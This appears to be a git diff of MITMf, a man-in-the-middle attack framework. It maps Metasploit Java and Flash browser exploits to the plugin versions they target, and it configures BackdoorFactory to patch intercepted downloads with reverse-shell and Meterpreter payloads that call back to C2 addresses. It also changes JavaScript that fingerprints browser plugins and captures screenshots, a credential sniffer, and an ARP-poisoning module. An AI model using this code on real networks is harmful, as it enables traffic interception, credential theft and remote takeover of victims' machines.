1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 - [[multi/browser/java_jre17_jmxbean_2]] + [[[multi/browser/java_jre17_jmxbean_2]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - - [[multi/browser/java_jre17_reflection_types]] + [[[multi/browser/java_jre17_reflection_types]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - - [[multi/browser/java_verifier_field_access]] + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_verifier_field_access]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 - [[multi/browser/java_jre17_provider_skeleton]] + [[[multi/browser/java_jre17_provider_skeleton]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + [[[exploit/windows/browser/adobe_flash_pcre]]] - [[exploit/windows/browser/adobe_flash_pcre]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 + [[[exploit/windows/browser/adobe_flash_net_connection_confusion]]] - [[exploit/windows/browser/adobe_flash_net_connection_confusion]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 + [[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]] - [[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 + [[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204 + + [[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194 [FilePwn] @@ -419,6 +428,28 @@ # # Tested on Kali-Linux. + [[hosts]] + #whitelist host/IP - patch these only. + #ALL is everything, use the blacklist to leave certain hosts/IPs out + + whitelist = ALL + + #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both. + + blacklist = , # a comma is null do not leave blank + + + [[keywords]] + #These checks look at the path of a url for keywords + + whitelist = ALL + + #For blacklist note binaries that you do not want to touch at all + + # Also applied in zip files + + blacklist = Tcpview.exe, skype.exe, .dll + [[ZIP]] # patchCount is the max number of files to patch in a zip file # After the max is reached it will bypass the rest of the files @@ -457,63 +488,77 @@ CompressedFiles = True #True/False - [[[[LinuxIntelx86]]]] - SHELL = reverse_shell_tcp # This is the BDF syntax - HOST = 192.168.1.168 # The C2 - PORT = 8888 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax - - [[[[LinuxIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 9999 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[LinuxIntelx86]]]] + SHELL = reverse_shell_tcp # This is the BDF syntax + HOST = 192.168.1.168 # The C2 + PORT = 8888 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax + + [[[[LinuxIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 9999 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[WindowsIntelx86]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - # PATCH_METHOD = automatic - PATCH_METHOD = - HOST = 192.168.10.11 - PORT = 8443 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/meterpreter/reverse_tcp + [[[[WindowsIntelx86]]]] + PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic + HOST = 192.168.1.88 + PORT = 8444 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = False + PATCH_DLL = True + MSFPAYLOAD = windows/meterpreter/reverse_tcp - [[[[WindowsIntelx64]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - # PATCH_METHOD = automatic - PATCH_METHOD = - HOST = 192.168.1.16 - PORT = 8088 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/x64/shell/reverse_tcp + [[[[WindowsIntelx64]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic + HOST = 192.168.1.16 + PORT = 8088 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_DLL = False + MSFPAYLOAD = windows/x64/shell/reverse_tcp - [[[[MachoIntelx86]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 4444 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[MachoIntelx86]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 4444 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[MachoIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 5555 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[MachoIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 5555 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp -[EvilGrade] + # Call out the difference for targets here as they differ from ALL + # These settings override the ALL settings + + [[[sysinternals.com]]] + LinuxType = None + WindowsType = x86 + CompressedFiles = False + + #inherits WindowsIntelx32 from ALL + [[[[WindowsIntelx86]]]] + PATCH_DLL = False + ZERO_CERT = True - [[NotePad++]] - host = 'notepad-plus-plus.org' - url = '/update/getDownloadUrl.php?version=' - data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe' \ No newline at end of file + [[[sourceforge.org]]] + WindowsType = x64 + CompressedFiles = False + + [[[[WindowsIntelx64]]]] + PATCH_DLL = False + + [[[[WindowsIntelx86]]]] + PATCH_DLL = False diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index 1ca45d8..eb4abf1 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -111,13 +111,10 @@ class ClientRequest(Request): log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - + elif self.urlMonitor.isSecureLink(client, url): log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) - + else: log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js index bf85b89..1eddb16 100644 --- a/core/javascript/plugindetect.js +++ b/core/javascript/plugindetect.js @@ -1260,6 +1260,12 @@ var PD = PluginDetect; //Set delimiter PD.getVersion("."); +//Get client Info +data = os_detect.getVersion() + +//Check to see if the UA is a lying bastard +data['ua_is_lying'] = os_detect.ua_is_lying + //Try to get plugin list var pluginList = []; if (navigator.plugins) { @@ -1270,30 +1276,24 @@ if (navigator.plugins) { } if (pluginList.length > 0){ - data['pluginlist'] = pluginList; + data['plugin_list'] = pluginList; } //Check if java plugin is installed and/or enabled -var javaEnabled = PD.isMinVersion('java'); -data['java'] = javaEnabled; +//var javaEnabled = PD.isMinVersion('java'); +//data['java'] = javaEnabled; //Get exact java plugin version var javaVersionString = PD.getVersion('java'); -data['java_v'] = javaVersionString; +data['java'] = javaVersionString; //Check if flash plugin is installed and/or enabled -var flashEnabled = PD.isMinVersion('flash'); -data['flash'] = flashEnabled; +//var flashEnabled = PD.isMinVersion('flash'); +//data['flash'] = flashEnabled; //Get exact flash plugin version var flashVersionString = PD.getVersion('flash'); -data['flash_v'] = flashVersionString; - -//Get client Info -data['client_info'] = os_detect.getVersion() - -//Check to see if the UA is a lying bastard -data['client_info']['ua_is_lying'] = os_detect.ua_is_lying +data['flash'] = flashVersionString; xhr.open("POST", "clientprfl", true); xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8"); diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fe50ad7..e8b1a8e 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) { }; } _html2canvas.Parse = function (images, options) { - window.scroll(0,0); + //window.scroll(0,0); var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default numDraws = 0, @@ -2871,8 +2871,10 @@ function grab() { xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); var x=encodeURIComponent(dat); xmlhttp.send(x); - } - }); + }, + width: screen.width, + height: screen.height + }); } setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/mitmfapi.py b/core/mitmfapi.py index 6413163..e43ff49 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -class mitmfapi: +class mitmfapi(ConfigWatcher): - _instance = None - host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host'] - port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port']) + __shared_state = {} - @staticmethod - def getInstance(): - if mitmfapi._instance is None: - mitmfapi._instance = mitmfapi() - - return mitmfapi._instance + def __init__(self): + self.__dict__ = self.__shared_state + self.host = self.config['MITMf']['MITMf-API']['host'] + self.port = int(self.config['MITMf']['MITMf-API']['port']) @app.route("/") def getPlugins(): - # example: http://127.0.0.1:9090/ + # example: http://127.0.0.1:9999/ pdict = {} - #print ProxyPlugins.getInstance().plist - for activated_plugin in ProxyPlugins.getInstance().plist: + #print ProxyPlugins().plugin_list + for activated_plugin in ProxyPlugins().plugin_list: pdict[activated_plugin.name] = True - #print ProxyPlugins.getInstance().plist_all - for plugin in ProxyPlugins.getInstance().plist_all: + #print ProxyPlugins().all_plugins + for plugin in ProxyPlugins().all_plugins: if plugin.name not in pdict: pdict[plugin.name] = False - #print ProxyPlugins.getInstance().pmthds + #print ProxyPlugins().pmthds return json.dumps(pdict) @app.route("/") def getPluginStatus(plugin): # example: http://127.0.0.1:9090/cachekill - for p in ProxyPlugins.getInstance().plist: + for p in ProxyPlugins().plugin_list: if plugin == p.name: return json.dumps("1") @@ -77,15 +73,15 @@ class mitmfapi: # example: http://127.0.0.1:9090/cachekill/1 # enabled # example: http://127.0.0.1:9090/cachekill/0 # disabled if status == "1": - for p in ProxyPlugins.getInstance().plist_all: - if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): - ProxyPlugins.getInstance().addPlugin(p) + for p in ProxyPlugins().all_plugins: + if (p.name == plugin) and (p not in ProxyPlugins().plugin_list): + ProxyPlugins().addPlugin(p) return json.dumps({"plugin": plugin, "response": "success"}) elif status == "0": - for p in ProxyPlugins.getInstance().plist: + for p in ProxyPlugins().plugin_list: if p.name == plugin: - ProxyPlugins.getInstance().removePlugin(p) + ProxyPlugins().removePlugin(p) return json.dumps({"plugin": plugin, "response": "success"}) return json.dumps({"plugin": plugin, "response": "failed"}) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 58e34e5..1d5c7b3 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -5,6 +5,7 @@ import base64 import threading import binascii +from core.logger import logger from os import geteuid, devnull from sys import exit from urllib import unquote @@ -16,7 +17,8 @@ from urllib import unquote from scapy.all import * conf.verb=0 -log = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("NetCreds", formatter) DN = open(devnull, 'w') pkt_frag_loads = OrderedDict() @@ -43,11 +45,11 @@ class NetCreds: version = "1.0" - def sniffer(self, interface): - sniff(iface=interface, prn=pkt_parser, store=0) + def sniffer(self, interface, ip): + sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0) - def start(self, interface): - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,)) + def start(self, interface, ip): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,)) t.setDaemon(True) t.start() @@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg): print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not - log.info("[NetCreds] {}".format(print_str)) + log.info("{}".format(print_str)) else: print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) - log.info("[NetCreds] {}".format(print_str)) + log.info("{}".format(print_str)) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index a027f45..1a937a0 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -16,15 +16,12 @@ # USA # -import threading import logging - -from traceback import print_exc +import threading from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from core.logger import logger -from core.utils import set_ip_forwarding, iptables from time import sleep -from scapy.all import ARP, send, sendp, sniff, getmacbyip +from scapy.all import * formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("ARPpoisoner", formatter) @@ -36,78 +33,101 @@ class ARPpoisoner: version = '0.1' def __init__(self, options): - try: self.gatewayip = str(IPAddress(options.gateway)) except AddrFormatError as e: sys.exit("Specified an invalid IP address as gateway") self.gatewaymac = getmacbyip(options.gateway) - self.targets = self.get_target_range(options.targets) + if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address") + + self.ignore = self.get_range(options.ignore) + if self.ignore is None: self.ignore = [] + + self.targets = self.get_range(options.targets) self.arpmode = options.arpmode self.debug = False self.send = True self.interval = 3 self.interface = options.interface + self.myip = options.ip self.mymac = options.mac - - if self.gatewaymac is None: - sys.exit("Error: Could not resolve gateway's MAC address") + self.arp_cache = {} log.debug("gatewayip => {}".format(self.gatewayip)) log.debug("gatewaymac => {}".format(self.gatewaymac)) log.debug("targets => {}".format(self.targets)) + log.debug("ignore => {}".format(self.ignore)) + log.debug("ip => {}".format(self.myip)) log.debug("mac => {}".format(self.mymac)) log.debug("interface => {}".format(self.interface)) log.debug("arpmode => {}".format(self.arpmode)) log.debug("interval => {}".format(self.interval)) - set_ip_forwarding(1) - iptables().flush() - iptables().http(options.port) + def start(self): + + #create a L3 and L2 socket, to be used later to send ARP packets + #this doubles performance since send() and sendp() open and close a socket on each packet + self.s = conf.L3socket(iface=self.interface) + self.s2 = conf.L2socket(iface=self.interface) if self.arpmode == 'rep': - t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep) + t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',)) elif self.arpmode == 'req': - t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req) + t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',)) t.setDaemon(True) t.start() if self.targets is None: + log.debug('Starting ARPWatch') t = threading.Thread(name='ARPWatch', target=self.start_arp_watch) t.setDaemon(True) t.start() - def get_target_range(self, targets): + def get_range(self, targets): if targets is None: return None try: - targetList = [] + target_list = [] for target in targets.split(','): if '/' in target: - targetList.append(IPNetwork(target)) + target_list.extend(list(IPNetwork(target))) elif '-' in target: - first_half = target.split('-')[0] - second_half = first_half + target.split('-')[1] - targetList.append(IPRange(first_half, second_half)) + start_addr = IPAddress(target.split('-')[0]) + try: + end_addr = IPAddress(target.split('-')[1]) + ip_range = IPRange(start_addr, end_addr) + except AddrFormatError: + end_addr = list(start_addr.words) + end_addr[-1] = target.split('-')[1] + end_addr = IPAddress('.'.join(map(str, end_addr))) + ip_range = IPRange(start_addr, end_addr) + + target_list.extend(list(ip_range)) else: - targetList.append(IPAddress(target)) + target_list.append(IPAddress(target)) - return targetList - except AddrFormatError as e: + return target_list + + except AddrFormatError: sys.exit("Specified an invalid IP address/range/network as target") def start_arp_watch(self): - sniff(prn=self.arp_watch_callback, filter="arp", store=0) + try: + sniff(prn=self.arp_watch_callback, filter="arp", store=0) + except Exception as e: + if "Interrupted system call" not in e: + log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e)) + pass def arp_watch_callback(self, pkt): - if self.send is True: #Prevents sending packets on exiting + if self.send is True: if ARP in pkt and pkt[ARP].op == 1: #who-has only #broadcast mac is 00:00:00:00:00:00 packet = None @@ -117,7 +137,7 @@ class ARPpoisoner: #print str(pkt[ARP].pdst) #ip of destination (Who is ...?) if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)): - log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc)) + log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc)) #send repoison packet packet = ARP() packet.op = 2 @@ -126,7 +146,7 @@ class ARPpoisoner: packet.pdst = str(pkt[ARP].psrc) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)): - log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst)) + log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst)) #send repoison packet packet = ARP() packet.op = 2 @@ -135,7 +155,7 @@ class ARPpoisoner: packet.pdst = str(pkt[ARP].pdst) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)): - log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst)) + log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst)) packet = ARP() packet.op = 2 @@ -145,165 +165,87 @@ class ARPpoisoner: try: if packet is not None: - send(packet, verbose=self.debug, iface=self.interface) + self.s.send(packet) except Exception as e: if "Interrupted system call" not in e: log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e)) - pass - def poison_arp_rep(self): + def resolve_target_mac(self, targetip): + targetmac = None + + try: + targetmac = self.arp_cache[targetip] # see if we already resolved that address + log.debug('{} has already been resolved'.format(targetip)) + except KeyError: + #This following replaces getmacbyip(), much faster this way + packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) + try: + resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False) + except Exception as e: + resp= '' + if "Interrupted system call" not in e: + log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) + + if len(resp) > 0: + targetmac = resp[0][1].hwsrc + self.arp_cache[targetip] = targetmac # shove that address in our cache + log.debug("Resolved {} => {}".format(targetip, targetmac)) + else: + log.debug("Unable to resolve MAC address of {}".format(targetip)) + + return targetmac + + def poison(self, arpmode): + sleep(2) while self.send: if self.targets is None: - pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at") - sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 + self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode)) elif self.targets: - #Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it for target in self.targets: + targetip = str(target) - if type(target) is IPAddress: - targetip = str(target) + if (targetip != self.myip) and (target not in self.ignore): + targetmac = self.resolve_target_mac(targetip) - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: + if targetmac is not None: try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - + log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) + self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) + self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - 